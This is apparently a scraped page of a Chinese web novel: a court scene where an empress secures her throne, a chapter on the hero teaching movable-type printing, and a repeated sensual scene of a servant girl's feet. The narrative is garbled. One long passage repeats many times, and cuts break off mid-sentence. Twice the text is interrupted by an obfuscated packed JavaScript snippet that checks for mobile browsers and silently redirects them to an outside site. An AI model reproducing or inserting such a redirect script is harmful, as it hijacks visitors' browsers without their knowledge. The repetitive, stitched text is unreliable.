提及林臻,她心中确实又多了几分底气。 最后丞相司马忠也走出来说道。 “臣愿为陛下、为大乾,肝脑涂地,鞠躬尽瘁!陛下万年,大乾万年!”言罢他带头跪了下去。 丞相、兵部尚书、工部尚书都已表态,并且带头下跪。 明眼人都知道,慕容嫣以女子身份当皇帝这个事实,谁也改变不了了。 这个时候,谁再乱跳,谁就会死。 群臣立刻下跪叩首,齐声喊道:“陛下万年,大乾万年!” “哈哈哈哈哈,众爱卿平身!” “谢陛下!” 没有人知道,慕容嫣的掌心已经渗出细汗。 她真的很担心群臣会反对她,但是没想到,刘恺威几句话就止住了议论,更震慑住群臣。 她这个皇位,稳了。 ,励精图治,推行了诸多利民新政,又查办贪官使得国库充盈,现在整个大乾的百姓都在感谢慕容嫣。 更别说自慕容嫣登基以后,大乾国力迅速恢复,竟能支持林震仙一路南下打得南楚落花流水,甚至还能以五千破十万,保边境安稳,百姓安居乐业。 这样的皇帝,没错啊。 慕容嫣直起身,目光扫向众人,声调渐高:“朕以女儿身,行男子事,披星戴月,日夜操劳,为的就是这江山稳固,万民安康。若只因性别,便被否定一切,诸位爱卿,这公道吗?” 她的眼神中燃烧着火焰,那是对自身价值的笃定,对世俗偏见的宣战。 年轻气盛的御史中丞王彦之挺身而出,他身着一袭蓝色官袍,面容冷峻,剑眉倒竖,朗声道:“陛下,即便如此,女子掌权,终归名不正言不顺。朝堂之上,众臣心中难免有芥蒂,长此以往,政令不通,国将不国啊!” 慕容嫣凤眉一挑,眼中闪过一抹凌厉之色,转身快步回到龙椅前,优雅落座,冷笑道:“王爱卿,你口口声声说名不正言不顺,可朕的玉玺,是伪造的吗?朕的龙椅,是抢来的吗?这朝堂上下,哪一项决策不是朕深思熟虑、权衡利弊后的结果?” 她微微一顿,目光如炬,扫视全场。 “诸位爱卿,朕既已坦诚相告,便望尔等收起成见。莫要因循守旧,以性别论高低。你们身为朕的臣子,大乾的官员,应着眼于江山社稷,民之福祉。若因这等迂腐之念,各自为政、心生嫌隙,政令如何推行?国家又怎能昌盛?” 群臣闻言,面露惭色,纷纷低下头去。 此时,一直沉默不语的兵部尚书刘恺威上前一步,打破僵局。 “陛下圣明!陛下以女子之身,有此等魄力与担当,实乃我朝之幸,百姓之福!” “刘恺威,你如此纵容陛下,安的是什么心!这是对百姓的不负责任!”王彦之立刻跳出来阻拦。 刘恺威微微看了他一眼,然后又看向慕容嫣。 “呵。且看当今之势,内有陛下殚精竭虑,外有世子雄才大略、威震八方!世子手握重兵,麾下将士皆为精锐,对陛下忠心耿耿!朝堂上下,军中内外,谁人不知世子之名,谁人不服世子之威!” 这话说是对慕容嫣说的,倒不如是说是对群臣说的。 没错,刘恺威今天就是要替林臻,守护好朝堂舆论! 闻言,宋正林也站出来说道:“启奏陛下,臣也认为刘大人说得在理,臣望诸位同僚能看清局势,莫要因性别一事,在心中种下分裂的种子。若有谁敢心怀不轨,忤逆陛下,世子必不会袖手旁观,定当以雷霆之势,让其粉身碎骨!到那时,可莫怪世子铁面无情,也莫要悔不当初!” 慕容嫣微微点头,眼中闪过一丝欣慰。 提及林臻,她心中确实又多了几分底气。 最后丞相司马忠也走出来说道。 “臣愿为陛下、为大乾,肝脑涂地,鞠躬尽瘁!陛下万年,大乾万年!”言罢他带头跪了下去。 丞相、兵部尚书、工部尚书都已表态,并且带头下跪。 明眼人都知道,慕容嫣以女子身份当皇帝这个事实,谁也改变不了了。 这个时候,谁再乱跳,谁就会死。 群臣立刻下跪叩首,齐声喊道:“陛下万年,大乾万年!” “哈哈哈哈哈,众爱卿平身!” “谢陛下!” 没有人知道,慕容嫣的掌心已经渗出细汗。 她真的很担心群臣会反对她,但是没想到,刘恺威几句话就止住了议论,更震慑住群臣。 她这个皇位,稳了。 第294章 外面多好都不如家好。 晨色初绽,恰似一层薄纱,轻柔地披拂在窗棂之上,悄然透入屋内。 林臻悠悠醒转,刚侧头,便见枕边的张俪依旧熟睡着。 昨晚她太辛苦了,此刻正是需要补充精神的时候。 她侧卧着,如云的乌发肆意散开,几缕碎发俏皮地垂落在白皙如雪的脖颈边,长长的睫毛似蝶翼轻扇,在眼下投落淡淡的暗影。 琼鼻秀挺,樱唇不点而朱,微微上扬的嘴角仿若噙着一抹若有若无的笑意。 一只手垫在脸颊下方,手指纤细修长,如葱根般鲜嫩,肌肤泛着温润的光泽。 身上的锦衾半掩,勾勒出她玲珑有致的身段,曲线柔美;那露在外面的藕臂,肌肤紧致,泛着淡淡的粉色,似春日里盛开的第一朵桃花,娇艳而惹人怜爱。 林臻情不自禁的在她朱唇一吻,大手顽皮的在她隐藏在被子里的雪脯上轻轻捏了一下,随即笑着起床。 外面多好都不如家好。 这句话也不知道是谁说的,但林臻此刻深有感悟。 来到院中,就见浣碧身着一袭翠色罗裙,身姿婀娜的正坐在亭中的石凳上,面前的石桌上摆放着一应洗漱之物,显然是早已准备。 见林臻出门,浣碧抬眸,眼中瞬间盈满笑意,嗓音软糯清甜:“夫君,您醒啦。 言罢,起身莲步轻移,向着林臻款步走来,手中还捧着温热的洗漱盆。 “现在不是夏日了,秋天风大,不要总是坐在亭子里等我起床。林臻微笑着回应,眼中满是宠溺。 浣碧将洗漱盆稳稳放置在一旁的架子上,又递上干净的帕子,说道:“妾身都习惯了,不碍事的。 说完把手帕打湿,伺候林臻洗漱,动作轻柔,带着糟糠之妻般的关怀。 洗漱完毕,林臻接过她递来的干毛巾,擦拭干净脸上的水珠,微微侧目看向浣碧,轻声说道:“碧儿,去把家里那两个木工找过来,今日我有要事吩咐。 浣碧乖巧地点头应是。 很快,老刘和他儿子狗蛋就走了进来。 这是父子俩,做木匠也算祖传手艺,现在背靠王府,小日子过得轻松自在,与从前大不一样。 所以他们都很珍惜这份工作。 老刘头年近五十,身体很是健硕,穿着崭新的粗麻衣服对林臻作揖:“见过世子。 “嗯,今日,我要传授你们一门技艺——活字印刷术。说着林臻扫视过摆在院中的一应物件——几方纹理细腻、质地坚实的木板,一堆大小均匀、切割规整 的木块,还有各类打磨精致、锋锐无比的工具,这都是他此前亲自打造的,可惜后来太忙便没有付之行动,如今正好传给这父子俩。 “此技艺一旦学成,于我大乾的知识传播、文化昌盛有着不可估量的作用。而你们也将因为这项技艺,世世代代不愁饭吃。” 听闻世世代代不愁饭吃,老刘头很高兴,狗蛋也兴奋地露出笑脸。 林臻发现狗蛋笑的时候缺两颗门牙,便问道:“狗蛋,你这牙是怎么回事?让人打了?” “不是,是前阵子起码给晴雯夫人报信,结果撞树上了。” “.” 林臻很想笑,但想想此刻如果哈哈大笑肯定会伤害这个与自己年岁差不多大的人,于是强忍下去,随后他上前一步拿起一块木块,入手沉甸甸的,触感冰凉而坚实。 “首先,这木块的选材极为重要,需的是质地紧密、不易变形干裂的木材,如此方能长久保存活字。” 说着,他拿起一把特制的刨子,双手稳稳握住,沿着木块的表面缓缓推动,刨花如同雪片般簌簌而落,不一会儿,原本略带粗糙的木块便被打磨得光滑平整,一丝凸起、凹陷都寻不见,仿若一面被擦拭过的铜镜。 “接下来,便是最为关键、也最考验手艺的刻字环节。” 林臻放下刨子,拿起一支细小却锋利无比的刻刀。 他微微俯身,将木块固定在一个简易却精巧的夹具上,刀尖轻点木块。 “字体务必清晰工整,笔画粗细均匀,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他急迫地问道:“出什么事情了?快说!” 林安脸色很不好,有点咬牙切齿的感觉。 “世子,有人瞧见芦小公爷在府中亲吻了丫鬟侯玲,这事儿这事儿若是传出去,怕是有损王府声誉啊!” 就在此时,刚从月亮门走进来的侯春如遭雷击,整个人瞬间僵住,瞬间,一股怒火从心底腾起,烧得他面颊通红,飞快地朝内院跑去。 “芦德豪!!我他妈杀了你!!” “猴子,不能冲动!”林臻紧跟在他身后,朝林安大喊,“老林,你去把胖子叫来!” “是!” 王府庭院错落,曲径通幽。 芦德豪与侯玲此刻正坐在溪边,两人的手紧紧牵在一起,眼神中满是柔情蜜意。 “玲儿,你说咱俩啥时候能光明正大地在一起呀?要不嫁给我吧,嗯?”芦德豪轻轻捏了捏侯玲的手,嘴角挂着一抹坏笑。 侯玲脸颊绯红,嗔怪地瞥了他一眼,手指绕着衣角,羞答答地回道:“我不是早就答应你了吗?你还老问,不嫌腻歪。” 芦德豪一听,眼睛亮得像星星,得寸进尺地把脑袋往侯玲脖颈处蹭了蹭,笑嘻嘻地说:“我这不是想听你亲口说嘛,每次听都甜到心坎里。再说了,我就想确认下。我芦德豪何德何能,竟能俘获咱家玲儿的芳心。” 侯玲被他逗得“扑哧”一声笑了出来,抬手轻轻打了下他的头,娇嗔道:“就你嘴甜,会哄人。” 说着,芦德豪又坐直身子,一本正经地看着侯玲:“等我去武清之前,一定向世子求娶你,咱风风光光地办喜事,让你穿最漂亮的嫁衣,戴最耀眼的首饰,住最大的院子,你就等着享福吧。” 侯玲眼中满是憧憬,却又有些担忧地说:“可咱们身份悬殊,你国公府规矩又多,能成吗?” 芦德豪一把揽过侯玲的肩膀,自信满满地说:“放心吧,我爹最宠爱我,只要我说想娶你,他绝对会同意的。再说,就算不同意,不是还有我大哥呢么?他肯定会向着我说话!” 侯玲微微点头,心中满是甜蜜。 芦德豪见侯玲心情大好,又开始贫嘴:“玲儿,把你鞋袜脱掉,咱们坐在溪边休息休息,这一路走得也累了。” 侯玲下意识地环顾四周,见并无旁人,才微微咬着下唇,缓缓弯下腰,伸手去解鞋子。 她本就生得俏丽,此时那娇羞的模样更是动人,身着一 袭粉色的丫鬟衣裳,裙摆随着她的动作轻轻摆动,仿若一朵盛开的粉色蔷薇。 纤细的手指轻轻脱下鞋子,动作轻柔而缓慢,似是带着几分羞涩与忐忑。 很快,鞋袜被一起脱掉,露出了她白皙如玉的脚丫,脚趾圆润可爱,如同珍珠般晶莹,大脚趾微微翘起,带着几分俏皮劲儿。 脚型纤巧秀美,足弓弧度优雅自然,像是一弯新月,从脚跟至脚尖过渡得恰到好处,没有一丝突兀之感。 肌肤细腻光滑,泛着淡淡的粉色光泽,仿若春日里初绽的桃花瓣,吹弹可破。 溪水轻轻荡漾,溅起的水花打湿了她的脚背,水珠在肌肤上滚动,宛如散落的细碎珍珠,更衬得这双脚美不胜收。 芦德豪看得眼睛都直了,喉结滚动,咽了口唾沫。 他干脆顺势躺在侯玲身边,脑袋慢慢凑到侯玲脚前,贪婪地欣赏着,嘴里还不住地夸赞:“玲儿,你的脚真美,好像是玉雕的。” 侯玲更是羞得满面通红,抬手轻轻打了他一下,嗔怪道:“你这坏蛋,净说些胡话。” “要不你抬起来,给我尝一口!” “去你的。”侯玲翻个白眼,“你若喜欢吃,我让后厨给你做些猪脚来。” “猪脚有什么好吃的?我就喜欢吃你的,真的,给我吃一口吧!”芦德豪馋着都要流口水了。 侯玲见他执意如此,便又回头看了看。 见四下无人,她轻轻抬起放到芦德豪嘴边。 然后就在芦德豪准备饱餐一顿的时候,侯春突然冲了出来。 “芦德豪!” 芦德豪吓得一个激灵,慌忙坐起身,脸色瞬间变得惨白,眼神中满是偷情被抓后的惊恐与慌乱。 侯玲也吓得花容失色,手忙脚乱地想要把鞋袜穿上,却因慌乱而颤抖不已,怎么也穿不好。 林臻快跑几步,一把抓住侯春。 “猴子,不能冲动!”言罢林臻看向芦德豪,“芦德豪,你可知自己在做什么?我摄政王府岂是你寻欢作乐之地!?” 林臻说是怒吼,但其实并没有多生气。 因为他早就知道侯玲抵抗不住芦德豪的攻势,肯定会芳心暗许。 但他万万没想到,这光天化日朗朗乾坤地,芦德豪竟要舔脚! 这不仅有损王府声誉,对他国公之子的身份更是种极大的侮辱! 一旦这件事情被芦步亭知道,这桩婚事肯定告吹! 芦德豪把侯玲护在身后,表情略微有些尴尬:“大哥,我.玲儿已经答应嫁给我了。” “什么!??” 林臻没说话,侯春当即就急了。 他看向自己最疼爱的妹妹,痛心疾首地吼道:“玲儿,你真的答应他了?” “我”侯玲哪里见过这种场面,被哥哥吼了两声,当即就要哭出来。 芦德豪赶紧转身,黑黢黢的手十分温柔地把她的泪珠抹去。 “没事,别怕,有我在呢。” “你还装上了?”林臻没好气的说道,“德豪,胖子心软没让你去代县,结果你就趁机泡人家玲儿妹妹。你小子可以啊,什么时候学会的暗度陈仓?” “大哥,对不住。我真喜欢玲儿,我这辈子非她不娶了!” “不是.” 侯春没管芦德豪说什么,他一直看着自己妹妹,眼眶通红。 “玲儿,你真喜欢这个混蛋?” 玲儿攥着衣裙,怯懦地说道:“他不是混蛋” “这个整日只知道勾栏听曲,给女人舔脚丫子的男人,不是混蛋是什么?” “他他是我夫君.” 袭粉色的丫鬟衣裳,裙摆随着她的动作轻轻摆动,仿若一朵盛开的粉色蔷薇。 纤细的手指轻轻脱下鞋子,动作轻柔而缓慢,似是带着几分羞涩与忐忑。 很快,鞋袜被一起脱掉,露出了她白皙如玉的脚丫,脚趾圆润可爱,如同珍珠般晶莹,大脚趾微微翘起,带着几分俏皮劲儿。 脚型纤巧秀美,足弓弧度优雅自然,像是一弯新月,从脚跟至脚尖过渡得恰到好处,没有一丝突兀之感。 肌肤细腻光滑,泛着淡淡的粉色光泽,仿若春日里初绽的桃花瓣,吹弹可破。 溪水轻轻荡漾,溅起的水花打湿了她的脚背,水珠在肌肤上滚动,宛如散落的细碎珍珠,更衬得这双脚美不胜收。 芦德豪看得眼睛都直了,喉结滚动,咽了口唾沫。 他干脆顺势躺在侯玲身边,脑袋慢慢凑到侯玲脚前,贪婪地欣赏着,嘴里还不住地夸赞:“玲儿,你的脚真美,好像是玉雕的。” 侯玲更是羞得满面通红,抬手轻轻打了他一下,嗔怪道:“你这坏蛋,净说些胡话。” “要不你抬起来,给我尝一口!” “去你的。”侯玲翻个白眼,“你若喜欢吃,我让后厨给你做些猪脚来。” “猪脚有什么好吃的?我就喜欢吃你的,真的,给我吃一口吧!”芦德豪馋着都要流口水了。 侯玲见他执意如此,便又回头看了看。 见四下无人,她轻轻抬起放到芦德豪嘴边。 然后就在芦德豪准备饱餐一顿的时候,侯春突然冲了出来。 “芦德豪!” 芦德豪吓得一个激灵,慌忙坐起身,脸色瞬间变得惨白,眼神中满是偷情被抓后的惊恐与慌乱。 侯玲也吓得花容失色,手忙脚乱地想要把鞋袜穿上,却因慌乱而颤抖不已,怎么也穿不好。 林臻快跑几步,一把抓住侯春。 “猴子,不能冲动!”言罢林臻看向芦德豪,“芦德豪,你可知自己在做什么?我摄政王府岂是你寻欢作乐之地!?” 林臻说是怒吼,但其实并没有多生气。 因为他早就知道侯玲抵抗不住芦德豪的攻势,肯定会芳心暗许。 但他万万没想到,这光天化日朗朗乾坤地,芦德豪竟要舔脚! 这不仅有损王府声誉,对他国公之子的身份更是种极大的侮辱! 一旦这件事情被芦步亭知道,这桩婚事肯定告吹! 芦德豪把侯玲护在身后,表情略微有些尴尬:“大哥,我.玲儿已经答应嫁给我了。” “什么!??” 林臻没说话,侯春当即就急了。 他看向自己最疼爱的妹妹,痛心疾首地吼道:“玲儿,你真的答应他了?” “我”侯玲哪里见过这种场面,被哥哥吼了两声,当即就要哭出来。 芦德豪赶紧转身,黑黢黢的手十分温柔地把她的泪珠抹去。 “没事,别怕,有我在呢。” “你还装上了?”林臻没好气的说道,“德豪,胖子心软没让你去代县,结果你就趁机泡人家玲儿妹妹。你小子可以啊,什么时候学会的暗度陈仓?” “大哥,对不住。我真喜欢玲儿,我这辈子非她不娶了!” “不是.” 侯春没管芦德豪说什么,他一直看着自己妹妹,眼眶通红。 “玲儿,你真喜欢这个混蛋?” 玲儿攥着衣裙,怯懦地说道:“他不是混蛋” “这个整日只知道勾栏听曲,给女人舔脚丫子的男人,不是混蛋是什么?” “他他是我夫君.” 袭粉色的丫鬟衣裳,裙摆随着她的动作轻轻摆动,仿若一朵盛开的粉色蔷薇。 纤细的手指轻轻脱下鞋子,动作轻柔而缓慢,似是带着几分羞涩与忐忑。 很快,鞋袜被一起脱掉,露出了她白皙如玉的脚丫,脚趾圆润可爱,如同珍珠般晶莹,大脚趾微微翘起,带着几分俏皮劲儿。 脚型纤巧秀美,足弓弧度优雅自然,像是一弯新月,从脚跟至脚尖过渡得恰到好处,没有一丝突兀之感。 肌肤细腻光滑,泛着淡淡的粉色光泽,仿若春日里初绽的桃花瓣,吹弹可破。 溪水轻轻荡漾,溅起的水花打湿了她的脚背,水珠在肌肤上滚动,宛如散落的细碎珍珠,更衬得这双脚美不胜收。 芦德豪看得眼睛都直了,喉结滚动,咽了口唾沫。 他干脆顺势躺在侯玲身边,脑袋慢慢凑到侯玲脚前,贪婪地欣赏着,嘴里还不住地夸赞:“玲儿,你的脚真美,好像是玉雕的。” 侯玲更是羞得满面通红,抬手轻轻打了他一下,嗔怪道:“你这坏蛋,净说些胡话。” “要不你抬起来,给我尝一口!” “去你的。”侯玲翻个白眼,“你若喜欢吃,我让后厨给你做些猪脚来。” “猪脚有什么好吃的?我就喜欢吃你的,真的,给我吃一口吧!”芦德豪馋着都要流口水了。 侯玲见他执意如此,便又回头看了看。 见四下无人,她轻轻抬起放到芦德豪嘴边。 然后就在芦德豪准备饱餐一顿的时候,侯春突然冲了出来。 “芦德豪!” 芦德豪吓得一个激灵,慌忙坐起身,脸色瞬间变得惨白,眼神中满是偷情被抓后的惊恐与慌乱。 侯玲也吓得花容失色,手忙脚乱地想要把鞋袜穿上,却因慌乱而颤抖不已,怎么也穿不好。 林臻快跑几步,一把抓住侯春。 “猴子,不能冲动!”言罢林臻看向芦德豪,“芦德豪,你可知自己在做什么?我摄政王府岂是你寻欢作乐之地!?” 林臻说是怒吼,但其实并没有多生气。 因为他早就知道侯玲抵抗不住芦德豪的攻势,肯定会芳心暗许。 但他万万没想到,这光天化日朗朗乾坤地,芦德豪竟要舔脚! 这不仅有损王府声誉,对他国公之子的身份更是种极大的侮辱! 一旦这件事情被芦步亭知道,这桩婚事肯定告吹! 芦德豪把侯玲护在身后,表情略微有些尴尬:“大哥,我.玲儿已经答应嫁给我了。” “什么!??” 林臻没说话,侯春当即就急了。 他看向自己最疼爱的妹妹,痛心疾首地吼道:“玲儿,你真的答应他了?” “我”侯玲哪里见过这种场面,被哥哥吼了两声,当即就要哭出来。 芦德豪赶紧转身,黑黢黢的手十分温柔地把她的泪珠抹去。 “没事,别怕,有我在呢。” “你还装上了?”林臻没好气的说道,“德豪,胖子心软没让你去代县,结果你就趁机泡人家玲儿妹妹。你小子可以啊,什么时候学会的暗度陈仓?” “大哥,对不住。我真喜欢玲儿,我这辈子非她不娶了!” “不是.” 侯春没管芦德豪说什么,他一直看着自己妹妹,眼眶通红。 “玲儿,你真喜欢这个混蛋?” 玲儿攥着衣裙,怯懦地说道:“他不是混蛋” “这个整日只知道勾栏听曲,给女人舔脚丫子的男人,不是混蛋是什么?” “他他是我夫君.” 袭粉色的丫鬟衣裳,裙摆随着她的动作轻轻摆动,仿若一朵盛开的粉色蔷薇。 纤细的手指轻轻脱下鞋子,动作轻柔而缓慢,似是带着几分羞涩与忐忑。 很快,鞋袜被一起脱掉,露出了她白皙如玉的脚丫,脚趾圆润可爱,如同珍珠般晶莹,大脚趾微微翘起,带着几分俏皮劲儿。 脚型纤巧秀美,足弓弧度优雅自然,像是一弯新月,从脚跟至脚尖过渡得恰到好处,没有一丝突兀之感。 肌肤细腻光滑,泛着淡淡的粉色光泽,仿若春日里初绽的桃花瓣,吹弹可破。 溪水轻轻荡漾,溅起的水花打湿了她的脚背,水珠在肌肤上滚动,宛如散落的细碎珍珠,更衬得这双脚美不胜收。 芦德豪看得眼睛都直了,喉结滚动,咽了口唾沫。 他干脆顺势躺在侯玲身边,脑袋慢慢凑到侯玲脚前,贪婪地欣赏着,嘴里还不住地夸赞:“玲儿,你的脚真美,好像是玉雕的。” 侯玲更是羞得满面通红,抬手轻轻打了他一下,嗔怪道:“你这坏蛋,净说些胡话。” “要不你抬起来,给我尝一口!” “去你的。”侯玲翻个白眼,“你若喜欢吃,我让后厨给你做些猪脚来。” “猪脚有什么好吃的?我就喜欢吃你的,真的,给我吃一口吧!”芦德豪馋着都要流口水了。 侯玲见他执意如此,便又回头看了看。 见四下无人,她轻轻抬起放到芦德豪嘴边。 然后就在芦德豪准备饱餐一顿的时候,侯春突然冲了出来。 “芦德豪!” 芦德豪吓得一个激灵,慌忙坐起身,脸色瞬间变得惨白,眼神中满是偷情被抓后的惊恐与慌乱。 侯玲也吓得花容失色,手忙脚乱地想要把鞋袜穿上,却因慌乱而颤抖不已,怎么也穿不好。 林臻快跑几步,一把抓住侯春。 “猴子,不能冲动!”言罢林臻看向芦德豪,“芦德豪,你可知自己在做什么?我摄政王府岂是你寻欢作乐之地!?” 林臻说是怒吼,但其实并没有多生气。 因为他早就知道侯玲抵抗不住芦德豪的攻势,肯定会芳心暗许。 但他万万没想到,这光天化日朗朗乾坤地,芦德豪竟要舔脚! 这不仅有损王府声誉,对他国公之子的身份更是种极大的侮辱! 一旦这件事情被芦步亭知道,这桩婚事肯定告吹! 芦德豪把侯玲护在身后,表情略微有些尴尬:“大哥,我.玲儿已经答应嫁给我了。” “什么!??” 林臻没说话,侯春当即就急了。 他看向自己最疼爱的妹妹,痛心疾首地吼道:“玲儿,你真的答应他了?” “我”侯玲哪里见过这种场面,被哥哥吼了两声,当即就要哭出来。 芦德豪赶紧转身,黑黢黢的手十分温柔地把她的泪珠抹去。 “没事,别怕,有我在呢。” “你还装上了?”林臻没好气的说道,“德豪,胖子心软没让你去代县,结果你就趁机泡人家玲儿妹妹。你小子可以啊,什么时候学会的暗度陈仓?” “大哥,对不住。我真喜欢玲儿,我这辈子非她不娶了!” “不是.” 侯春没管芦德豪说什么,他一直看着自己妹妹,眼眶通红。 “玲儿,你真喜欢这个混蛋?” 玲儿攥着衣裙,怯懦地说道:“他不是混蛋” “这个整日只知道勾栏听曲,给女人舔脚丫子的男人,不是混蛋是什么?” “他他是我夫君.” 袭粉色的丫鬟衣裳,裙摆随着她的动作轻轻摆动,仿若一朵盛开的粉色蔷薇。 纤细的手指轻轻脱下鞋子,动作轻柔而缓慢,似是带着几分羞涩与忐忑。 很快,鞋袜被一起脱掉,露出了她白皙如玉的脚丫,脚趾圆润可爱,如同珍珠般晶莹,大脚趾微微翘起,带着几分俏皮劲儿。 脚型纤巧秀美,足弓弧度优雅自然,像是一弯新月,从脚跟至脚尖过渡得恰到好处,没有一丝突兀之感。 肌肤细腻光滑,泛着淡淡的粉色光泽,仿若春日里初绽的桃花瓣,吹弹可破。 溪水轻轻荡漾,溅起的水花打湿了她的脚背,水珠在肌肤上滚动,宛如散落的细碎珍珠,更衬得这双脚美不胜收。 芦德豪看得眼睛都直了,喉结滚动,咽了口唾沫。 他干脆顺势躺在侯玲身边,脑袋慢慢凑到侯玲脚前,贪婪地欣赏着,嘴里还不住地夸赞:“玲儿,你的脚真美,好像是玉雕的。” 侯玲更是羞得满面通红,抬手轻轻打了他一下,嗔怪道:“你这坏蛋,净说些胡话。” “要不你抬起来,给我尝一口!” “去你的。”侯玲翻个白眼,“你若喜欢吃,我让后厨给你做些猪脚来。” “猪脚有什么好吃的?我就喜欢吃你的,真的,给我吃一口吧!”芦德豪馋着都要流口水了。 侯玲见他执意如此,便又回头看了看。 见四下无人,她轻轻抬起放到芦德豪嘴边。 然后就在芦德豪准备饱餐一顿的时候,侯春突然冲了出来。 “芦德豪!” 芦德豪吓得一个激灵,慌忙坐起身,脸色瞬间变得惨白,眼神中满是偷情被抓后的惊恐与慌乱。 侯玲也吓得花容失色,手忙脚乱地想要把鞋袜穿上,却因慌乱而颤抖不已,怎么也穿不好。 林臻快跑几步,一把抓住侯春。 “猴子,不能冲动!”言罢林臻看向芦德豪,“芦德豪,你可知自己在做什么?我摄政王府岂是你寻欢作乐之地!?” 林臻说是怒吼,但其实并没有多生气。 因为他早就知道侯玲抵抗不住芦德豪的攻势,肯定会芳心暗许。 但他万万没想到,这光天化日朗朗乾坤地,芦德豪竟要舔脚! 这不仅有损王府声誉,对他国公之子的身份更是种极大的侮辱! 一旦这件事情被芦步亭知道,这桩婚事肯定告吹! 芦德豪把侯玲护在身后,表情略微有些尴尬:“大哥,我.玲儿已经答应嫁给我了。” “什么!??” 林臻没说话,侯春当即就急了。 他看向自己最疼爱的妹妹,痛心疾首地吼道:“玲儿,你真的答应他了?” “我”侯玲哪里见过这种场面,被哥哥吼了两声,当即就要哭出来。 芦德豪赶紧转身,黑黢黢的手十分温柔地把她的泪珠抹去。 “没事,别怕,有我在呢。” “你还装上了?”林臻没好气的说道,“德豪,胖子心软没让你去代县,结果你就趁机泡人家玲儿妹妹。你小子可以啊,什么时候学会的暗度陈仓?” “大哥,对不住。我真喜欢玲儿,我这辈子非她不娶了!” “不是.” 侯春没管芦德豪说什么,他一直看着自己妹妹,眼眶通红。 “玲儿,你真喜欢这个混蛋?” 玲儿攥着衣裙,怯懦地说道:“他不是混蛋” “这个整日只知道勾栏听曲,给女人舔脚丫子的男人,不是混蛋是什么?” “他他是我夫君.” 袭粉色的丫鬟衣裳,裙摆随着她的动作轻轻摆动,仿若一朵盛开的粉色蔷薇。 纤细的手指轻轻脱下鞋子,动作轻柔而缓慢,似是带着几分羞涩与忐忑。 很快,鞋袜被一起脱掉,露出了她白皙如玉的脚丫,脚趾圆润可爱,如同珍珠般晶莹,大脚趾微微翘起,带着几分俏皮劲儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019863|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 脚型纤巧秀美,足弓弧度优雅自然,像是一弯新月,从脚跟至脚尖过渡得恰到好处,没有一丝突兀之感。 肌肤细腻光滑,泛着淡淡的粉色光泽,仿若春日里初绽的桃花瓣,吹弹可破。 溪水轻轻荡漾,溅起的水花打湿了她的脚背,水珠在肌肤上滚动,宛如散落的细碎珍珠,更衬得这双脚美不胜收。 芦德豪看得眼睛都直了,喉结滚动,咽了口唾沫。 他干脆顺势躺在侯玲身边,脑袋慢慢凑到侯玲脚前,贪婪地欣赏着,嘴里还不住地夸赞:“玲儿,你的脚真美,好像是玉雕的。” 侯玲更是羞得满面通红,抬手轻轻打了他一下,嗔怪道:“你这坏蛋,净说些胡话。” “要不你抬起来,给我尝一口!” “去你的。”侯玲翻个白眼,“你若喜欢吃,我让后厨给你做些猪脚来。” “猪脚有什么好吃的?我就喜欢吃你的,真的,给我吃一口吧!”芦德豪馋着都要流口水了。 侯玲见他执意如此,便又回头看了看。 见四下无人,她轻轻抬起放到芦德豪嘴边。 然后就在芦德豪准备饱餐一顿的时候,侯春突然冲了出来。 “芦德豪!” 芦德豪吓得一个激灵,慌忙坐起身,脸色瞬间变得惨白,眼神中满是偷情被抓后的惊恐与慌乱。 侯玲也吓得花容失色,手忙脚乱地想要把鞋袜穿上,却因慌乱而颤抖不已,怎么也穿不好。 林臻快跑几步,一把抓住侯春。 “猴子,不能冲动!”言罢林臻看向芦德豪,“芦德豪,你可知自己在做什么?我摄政王府岂是你寻欢作乐之地!?” 林臻说是怒吼,但其实并没有多生气。 因为他早就知道侯玲抵抗不住芦德豪的攻势,肯定会芳心暗许。 但他万万没想到,这光天化日朗朗乾坤地,芦德豪竟要舔脚! 这不仅有损王府声誉,对他国公之子的身份更是种极大的侮辱! 一旦这件事情被芦步亭知道,这桩婚事肯定告吹! 芦德豪把侯玲护在身后,表情略微有些尴尬:“大哥,我.玲儿已经答应嫁给我了。” “什么!??” 林臻没说话,侯春当即就急了。 他看向自己最疼爱的妹妹,痛心疾首地吼道:“玲儿,你真的答应他了?” “我”侯玲哪里见过这种场面,被哥哥吼了两声,当即就要哭出来。 芦德豪赶紧转身,黑黢黢的手十分温柔地把她的泪珠抹去。 “没事,别怕,有我在呢。” “你还装上了?”林臻没好气的说道,“德豪,胖子心软没让你去代县,结果你就趁机泡人家玲儿妹妹。你小子可以啊,什么时候学会的暗度陈仓?” “大哥,对不住。我真喜欢玲儿,我这辈子非她不娶了!” “不是.” 侯春没管芦德豪说什么,他一直看着自己妹妹,眼眶通红。 “玲儿,你真喜欢这个混蛋?” 玲儿攥着衣裙,怯懦地说道:“他不是混蛋” “这个整日只知道勾栏听曲,给女人舔脚丫子的男人,不是混蛋是什么?” “他他是我夫君.” 袭粉色的丫鬟衣裳,裙摆随着她的动作轻轻摆动,仿若一朵盛开的粉色蔷薇。 纤细的手指轻轻脱下鞋子,动作轻柔而缓慢,似是带着几分羞涩与忐忑。 很快,鞋袜被一起脱掉,露出了她白皙如玉的脚丫,脚趾圆润可爱,如同珍珠般晶莹,大脚趾微微翘起,带着几分俏皮劲儿。 脚型纤巧秀美,足弓弧度优雅自然,像是一弯新月,从脚跟至脚尖过渡得恰到好处,没有一丝突兀之感。 肌肤细腻光滑,泛着淡淡的粉色光泽,仿若春日里初绽的桃花瓣,吹弹可破。 